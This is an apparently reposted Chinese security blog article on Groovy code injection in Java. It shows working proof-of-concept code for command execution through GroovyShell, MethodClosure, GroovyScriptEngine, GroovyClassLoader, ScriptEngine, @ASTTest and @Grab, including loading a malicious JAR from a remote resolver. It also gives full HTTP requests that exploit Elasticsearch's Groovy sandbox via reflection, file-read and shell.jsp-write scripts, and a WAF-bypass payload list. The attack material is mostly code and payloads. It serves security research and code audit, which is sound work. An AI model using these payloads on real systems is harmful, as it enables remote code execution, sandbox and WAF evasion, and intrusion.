前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >JAVA安全之Groovy命令注入刨析

JAVA安全之Groovy命令注入刨析

作者头像
Al1ex
发布2024-12-09 10:59:09
发布2024-12-09 10:59:09
1050
举报
文章被收录于专栏:网络安全攻防

文章前言

Groovy是一种基于Java平台的动态语言,其设计目标是为Java开发者提供一种更简洁、高效和灵活的方式来编写代码,它与Java语言具有良好的兼容性,允许开发者在Java项目中无缝使用Groovy代码,具有简洁的语法和强大的功能可以用于脚本编写、自动化以及构建工具等多个场景,Groovy提供了与Java互操作的能力并且可以轻松地执行命令行命令,很多JAVA项目中都会使用Groovy来动态执行命令而未进行任何校验从而导致RCE,本篇文章主要是填之前迟迟没去系统性归纳Groovy所挖的坑~

简易示例

首先使用IDEA来创建一个Maven项目,随后更改pom文件加入Groovy依赖:

代码语言:javascript
复制
<dependency><groupId>org.codehaus.groovy</groupId><artifactId>groovy-all</artifactId><version>2.4.3</version></dependency>

构造代码如下:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;publicclassGroovyShellExample{publicstaticvoidmain(String[]args){GroovyShellshell=newGroovyShell();Stringscript="def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";shell.evaluate(script);}}

执行效果如下:

运行方式

Java代码中常用的运行groovy方式有如下几种:

GroovyShell

基本介绍

GroovyShell是Groovy提供的一个强大工具,它可以用于动态执行Groovy代码片段,我们通过GroovyShell我们可以轻松地在Java程序中执行Groovy脚本并且能够与Java对象进行交互,下面是一个简易的执行示例:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;publicclassGroovyShellExample{publicstaticvoidmain(String[]args){GroovyShellshell=newGroovyShell();Stringscript="def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";shell.evaluate(script);}}

执行效果如下:

调试分析

下面我们对执行过程进行一个调试分析:

调用groovy.lang.GroovyShell#evaluate(java.lang.String)来执行命令在这里又调用了重载的方法evaluate,在这里会随机生成一个ScripName作为groovy脚本的名称,设置执行Groovy的命令执行为/groovy/shell

继续跟进this.evaluate(gcs),继续跟进:

随后调用parse进行脚本解析并调用script.run进行执行,后续调用了底层

在执行脚本期间会加载对应的类随后执行对应的方法:

调用栈信息如下:

代码语言:javascript
复制
runCalculator:1,Script1run:1,Script1evaluate:589,GroovyShell(groovy.lang)evaluate:627,GroovyShell(groovy.lang)evaluate:598,GroovyShell(groovy.lang)main:9,GroovyShellExample(com.al1ex)
本地加载

在上面的示例中我们是直接模拟的用户可以控制执行的脚本内容的场景,而部分场景中还涉及本地加载和远程加载两种方式,下面我们介绍本地加载方式:

加载方式1: 执行的Groovy脚本从本地加载执行:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}

GroovyTest.groovy脚本内容如下:

代码语言:javascript
复制
packagecom.groovyDemodefrunCalculator(){try{defprocess=Runtime.getRuntime().exec('calc.exe');process.waitFor();}catch(Exceptione){println'Error:'+e.message;}}runCalculator()

运行结果如下所示:

加载方式2

除去上面的方式之外我们还可以通过调用GroovyShell的evaluate方法进行执行

备注:这里的从本地加载的情况,当我们可以编辑Groovy文件或者通过上传Groovy文件到服务器端并可控制解析的路径时则可以充分利用

远程加载

我们除了本地加载Groovy脚本进行执行之外还可以通过远程方式来加载脚本执行,例如:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;importjava.io.IOException;importjava.net.URI;importjava.net.URISyntaxException;publicclassGroovyShellRemoteRun{publicstaticvoidmain(String[]args)throwsIOException,URISyntaxException{GroovyShellshell=newGroovyShell();shell.evaluate(newURI("http://127.0.0.1:8888/GroovyTest.groovy"));}}

MethodClosure

基本介绍

MethodClosure是Groovy中的一个类,它允许你将某个方法与特定的对象绑定在一起,它类似于Java中的闭包,但更注重方法的封装和重用,使用MethodClosure可以简化对对象方法的调用,同时也可以用于异步编程或事件处理等场景,此类场景的利用需要参数可控

调用示例

在这里直接使用MethodClosure对Runtime.getRuntim().exec进行封装,然后通过call来进行调用并传递参数,从而实现命令执行:

代码语言:javascript
复制
packagecom.al1ex;importorg.codehaus.groovy.runtime.MethodClosure;publicclassMethodClosureRun{publicstaticvoidmain(String[]args)throwsException{MethodClosuremc=newMethodClosure(Runtime.getRuntime(),"exec");mc.call("calc");}}

执行结果如下所示:

调用示例2

示例代码如下所示:

代码语言:javascript
复制
packagecom.al1ex;importorg.codehaus.groovy.runtime.MethodClosure;publicclassMethodClosureRun2{publicstaticvoidmain(String[]args){MethodClosuremethodClosure=newMethodClosure("calc","execute");methodClosure.call();}}

GroovyScriptEngine

基本介绍

GroovyScriptEngine是Groovy提供的一个强大工具,它可以用来动态加载和执行Groovy脚本,它支持从本地文件系统或远程位置(例如:如URL)加载脚本,并且可以在Groovy脚本中使用Java对象

本地加载1

示例代码如下所示:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.util.GroovyScriptEngine;publicclassGroovyScriptEngineRun{publicstaticvoidmain(String[]args)throwsException{GroovyScriptEnginescriptEngine=newGroovyScriptEngine("src/main/java/com/groovyDemo");//指定包含Groovy脚本的目录scriptEngine.run("GroovyTest.groovy","");//执行脚本并获取返回值}}

执行结果如下所示:

本地加载2

通过Binding()方式直接加载:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.Binding;importgroovy.util.GroovyScriptEngine;publicclassGroovyScriptEngineRun2{publicstaticvoidmain(String[]args)throwsException{GroovyScriptEnginescriptEngine=newGroovyScriptEngine("");scriptEngine.run("src/main/java/com/groovyDemo/GroovyTest.groovy",newBinding());}}

执行结果如下所示:

远程加载

通过调用远程url之后调用特定脚本

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.Binding;importgroovy.util.GroovyScriptEngine;publicclassGroovyScriptEngineRun3{publicstaticvoidmain(String[]args)throwsException{GroovyScriptEnginescriptEngine=newGroovyScriptEngine("http://127.0.0.1:8888/");scriptEngine.run("GroovyTest.groovy","");}}

执行结果如下:

备注:这里不能使用Python进行托管哦,建议直接Apache+Groovy脚本

GroovyClassLoader

基本介绍

GroovyClassLoader是Groovy提供的一个类,它可以用于动态加载和编译Groovy类,同时也可以从字符串、文件或其他资源中加载Groovy代码并将其编译为Java字节码,随后可以在Java程序中使用这些类

字符串类

下面是一则从字符串中提取加载Groovy代码的示例:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyClassLoader;publicclassGroovyClassLoaderRun{publicstaticvoidmain(String[]args)throwsException{// 创建 GroovyClassLoader 实例GroovyClassLoadergroovyClassLoader=newGroovyClassLoader();// Groovy 源代码:包含打开计算器的方法StringgroovyCode="class CalculatorOpener { void openCalculator() { try { Runtime.getRuntime().exec(\"calc.exe\"); } catch (Exception e) { e.printStackTrace(); } } }";try{// 从字符串中解析并加载 Groovy 类Class<?>calculatorOpenerClass=groovyClassLoader.parseClass(groovyCode);// 创建 CalculatorOpener 类的实例ObjectcalculatorOpenerInstance=calculatorOpenerClass.getDeclaredConstructor().newInstance();// 调用 openCalculator 方法calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);}catch(Exceptione){e.printStackTrace();}}}

执行结果如下所示:

本地加载

Groovy脚本如下:

代码语言:javascript
复制
packagecom.groovyDemoclassCalculatorOpener{voidopenCalculator(){try{// 使用 Runtime 执行 calc.exeRuntime.getRuntime().exec("calc.exe");}catch(Exceptione){e.printStackTrace();}}}

主程序代码如下:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyClassLoader;importjava.io.File;publicclassGroovyClassLoaderRun2{publicstaticvoidmain(String[]args){// 创建 GroovyClassLoader 实例GroovyClassLoaderclassLoader=newGroovyClassLoader();try{// 指定包含 Groovy 文件的路径(请根据实际情况修改路径)FilegroovyFile=newFile("src/main/java/com/groovyDemo/CalculatorOpener.groovy");// 从文件中解析并加载Groovy类Class<?>calculatorOpenerClass=classLoader.parseClass(groovyFile);// 创建CalculatorOpener类的实例ObjectcalculatorOpenerInstance=calculatorOpenerClass.getDeclaredConstructor().newInstance();// 调用openCalculator方法calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);}catch(Exceptione){e.printStackTrace();}}}

运行结果如下所示:

远程加载

Groovy脚本如下:

代码语言:javascript
复制
packagecom.groovyDemoclassCalculatorOpener{voidopenCalculator(){try{// 使用 Runtime 执行 calc.exeRuntime.getRuntime().exec("calc.exe");}catch(Exceptione){e.printStackTrace();}}}

主程序代码如下:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyClassLoader;importgroovy.lang.GroovyCodeSource;importjava.io.IOException;importjava.net.URL;publicclassGroovyClassLoaderRun3{publicstaticvoidmain(String[]args)throwsIOException{// 创建 GroovyClassLoader 实例GroovyClassLoaderclassLoader=newGroovyClassLoader();try{// 指定远程 Groovy 文件的 URL(请根据实际情况修改 URL)URLgroovyFileUrl=newURL("http://127.0.0.1/CalculatorOpener.groovy");// 使用 GroovyCodeSource 包装 URLGroovyCodeSourcecodeSource=newGroovyCodeSource(groovyFileUrl);// 从 GroovyCodeSource 中解析并加载 Groovy 类Class<?>calculatorOpenerClass=classLoader.parseClass(codeSource);// 创建 CalculatorOpener 类的实例ObjectcalculatorOpenerInstance=calculatorOpenerClass.getDeclaredConstructor().newInstance();// 调用 openCalculator 方法calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);}catch(Exceptione){e.printStackTrace();}finally{// 关闭类加载器,释放资源classLoader.close();}}}

运行结果如下所示:

ScriptEngine

基本介绍

在ScriptEngine中支持名为groovy的引擎且可用来执行Groovy代码,这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的

简易示例

简易示例代码如下所示:

代码语言:javascript
复制
packagecom.al1ex;importjavax.script.ScriptEngine;importjavax.script.ScriptEngineManager;importjavax.script.ScriptException;publicclassGroovyScriptEngineExample{publicstaticvoidmain(String[]args){// 创建 ScriptEngineManager 实例ScriptEngineManagermanager=newScriptEngineManager();// 获取 Groovy 引擎ScriptEngineengine=manager.getEngineByName("groovy");// Groovy 代码字符串Stringscript="def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe');process.waitFor();} catch (Exception e) {println 'Error:' + e.message;}};runCalculator()";try{// 执行 Groovy 脚本Objectresult=engine.eval(script);}catch(ScriptExceptione){e.printStackTrace();}}}

执行结果如下所示:

@AST注解执行断言

基本介绍

在Groovy中@AST注解是指抽象语法树(Abstract Syntax Tree)相关的注解,这些注解可以用于修改和增强Groovy代码的编译时行为,使用AST转化可以让开发者以声明的方式扩展语言特性或实现一些元编程功能,我们也可以利用AST注解能够执行断言从而实现代码执行(本地测试无需assert也能触发代码执行)

简易示例

下面是一则简易执行示例:

代码语言:javascript
复制
this.class.classLoader.parseClass('''@groovy.transform.ASTTest(value={assertRuntime.getRuntime().exec("calc")})defx''');

运行主程序如下所示:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}

运行程序结果如下所示:

@Grab注解命令执行

基本介绍

@Grab注解是Groovy中一个非常强大的功能,它允许你在运行时动态地引入和下载依赖的库,这个注解使得Groovy脚本可以轻松地引用外部库,而不需要手动管理类路径或构建系统

简易示例

下面介绍如何通过@Grab来远程加载恶意类: Step 1:创建一个恶意类的jar包

代码语言:javascript
复制
publicclassExp{publicExp(){try{java.lang.Runtime.getRuntime().exec("calc");}catch(Exceptione){}}}

编译程序并使用python启动一个HTTP服务托管对应的JAR包文件

代码语言:javascript
复制
"C:\Program Files\Java\jdk1.8.0_102\bin\javac.exe"Exp.javaechoExp>META-INF/services/org.codehaus.groovy.plugins.Runnersjarcvfpoc-0.jarExp.classMETA-INF

创建子目录"\test\poc\0"并将poc-0.jar文件丢进去

随后在根目录中启动HTTP服务进行托管

Step 2:构造GroovyTest.groovy文件

代码语言:javascript
复制
this.class.classLoader.parseClass('''@GrabConfig(disableChecksums=true)@GrabResolver(name='Exp',root='http://127.0.0.1:1234/')@Grab(group='test',module='poc',version='0')importExp;''')

上面的这段代码使用了Groovy的类加载机制和@Grab注解来动态加载远程依赖,其中this.class.classLoader获取当前类的类加载器,Groovy和Java都使用类加载器来加载类,parseClass(...)接受字符串形式的 Groovy代码并将其解析为一个类,在这个上下文中,它允许你动态地定义和加载一个Groovy类:

  • @GrabConfig(disableChecksums=true):该注解用于配置@Grab的行disableChecksums=true表示在下载依赖时不检查校验和,这在某些情况下可以避免因为校验和不一致而导致的下载失败
  • @GrabResolver():此注解用于定义一个自定义的解析器,name='Exp'指定了解析器的名称,而root='http://127.0.0.1:1234/'指明了从这个URL下载依赖的根路径,这里使用的是从本地主机(127.0.0.1)加载
  • @Grab():此注解用于指定要下载的依赖项,group='test'、module='poc'和version='0'表示要获取的依赖的组、模块和版本信息,这些信息通常是在Maven仓库中管理的
  • import Exp;:这一行导入名为Exp的类,假设之前的@Grab成功下载了该模块并且其中包含了Exp类,那么这行代码就会使得Exp可用于当前的Groovy脚本或程序中

Step 3:执行主程序代码

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}

运行结果如下所示:

备注:在使用时需要服务端包含ivy的第三方依赖库

代码语言:javascript
复制
<!--https://mvnrepository.com/artifact/org.apache.ivy/ivy --><dependency><groupId>org.apache.ivy</groupId><artifactId>ivy</artifactId><version>2.5.2</version></dependency>

注入类型

这里的Groovy代码注入的利用方式主要时基于以下几类:

  • 文件编辑:Groovy文件可被用户编辑并且有被业务功能调用解析
  • 文件覆盖:Groovy文件可被用户上传的自定义的文件进行覆盖并且有被业务功能调用解析
  • 远程加载:Groovy文件通过远程方式加载且加载的地址链接可控从而导致Groovy代码注入
  • 输入可控:Groovy代码执行的位置处Groovy代码内容可控从而导致Groovy代码注入安全问题

注入案例

这里我们使用ES作为Groovy命令执行漏洞的演示案例:

漏洞复现

ElasticSearch支持使用在沙盒中的Groovy语言作为动态脚本:

执行方式1:Java沙盒绕过法

ES对执行Java代码有沙盒,在这里我们可以使用Java反射来绕过:

代码语言:javascript
复制
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

发送包含payload的数据包,执行任意命令

代码语言:javascript
复制
POST/_searchHTTP/1.1Host:192.168.189.130:9200Cache-Control:max-age=0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/129.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language:zh-CN,zh;q=0.9Connection:closeContent-Length:158{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

备注:在查询时由于至少要求es中有一条数据,所以发送如下数据包增加一个数据:

代码语言:javascript
复制
POST/website/blog/HTTP/1.1Host:192.168.189.130:9200Cache-Control:max-age=0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/129.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language:zh-CN,zh;q=0.9Connection:closeContent-Length:22{"name":"test"}
执行方式2:Groovy直接执行

Groovy原本也是一门语言,所以也可以直接使用Groovy语言支持的方法来直接执行命令,无需使用Java语言:

代码语言:javascript
复制
defcommand="whoami";defres=command.execute().text;res
代码语言:javascript
复制
POST/_searchHTTP/1.1Host:192.168.189.130:9200Cache-Control:max-age=0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/129.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language:zh-CN,zh;q=0.9Connection:closeContent-Length:122{"script_fields":{"my_field":{"script":"def command=\"whoami\";def res=command.execute().text;res","lang":"groovy"}}}

文件读取

GroovyTest.Groovy脚本内容如下:

代码语言:javascript
复制
text=newFile("C:\\Windows\\system.ini").eachLine{printlnit;}

GroovyShellLocalRun主程序代码如下所示:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}

执行结果如下:

读取方式2:

代码语言:javascript
复制
lineList=newFile("C:\\Windows\\system.ini").readLines();lineList.each{printlnit.toUpperCase();}

文件写入

GroovyTest.Groovy脚本内容如下:

代码语言:javascript
复制
newFile("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('HelloAl1ex');

GroovyShellLocalRun主程序代码如下所示:

代码语言:javascript
复制
packagecom.al1ex;importgroovy.lang.GroovyShell;importgroovy.lang.Script;importjava.io.File;importjava.io.IOException;publicclassGroovyShellLocalRun{publicstaticvoidmain(String[]args)throwsIOException{GroovyShellshell=newGroovyShell();Scriptscript=shell.parse(newFile("src/main/java/com/groovyDemo/GroovyTest.groovy"));script.run();}}

执行结果如下:

写入方式2:

代码语言:javascript
复制
newFile("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write("""GoodmorningGoodafternoonGoodevening""");

WAF绕过

在我们做代码审计时我们发现目标存在Groovy命令执行的风险,但是发现我们注入的命令最终被WAF拦截导致并未被执行,下面介绍几种Groovy命令执行时可用的WAF绕过方式和技巧,注意侧重于关于Groovy文件内容的编造

代码语言:javascript
复制
#常规执行"calc".execute()'calc'.execute()"${"calc".execute()}""${'calc'.execute()}"#结果回显println"whoami".execute().textprintln'whoami'.execute().textprintln"${"whoami".execute().text}"println"${'whoami'.execute().text}"defcmd="whoami";println"${cmd.execute().text}"#反射调用importjava.lang.reflect.Method;Class<?>rt=Class.forName("java.lan"+"g.Run"+"time");Methodgr=rt.getMethod("getRun"+"time");Methodex=rt.getMethod("exe"+"c",String.class);ex.invoke(gr.invoke(null),"cal"+"c")

文末小结

本篇文章主要对JAVA中的Groovy命令执行方式以及利用场景、WAF绕过、载荷构造等进行了介绍,具体的实战环境中还需结合具体的业务和过滤情形来构造可用的载荷,灵活多变~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 简易示例
  • 运行方式
    • GroovyShell
      • 基本介绍
      • 调试分析
      • 本地加载
      • 远程加载
    • MethodClosure
      • 基本介绍
      • 调用示例
      • 调用示例2
    • GroovyScriptEngine
      • 基本介绍
      • 本地加载1
      • 本地加载2
      • 远程加载
    • GroovyClassLoader
      • 基本介绍
      • 字符串类
      • 本地加载
      • 远程加载
    • ScriptEngine
      • 基本介绍
      • 简易示例
    • @AST注解执行断言
      • 基本介绍
      • 简易示例
    • @Grab注解命令执行
      • 基本介绍
      • 简易示例
  • 注入类型
  • 注入案例
    • 漏洞复现
      • 执行方式1:Java沙盒绕过法
      • 执行方式2:Groovy直接执行
  • 文件读取
  • 文件写入
  • WAF绕过
  • 文末小结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档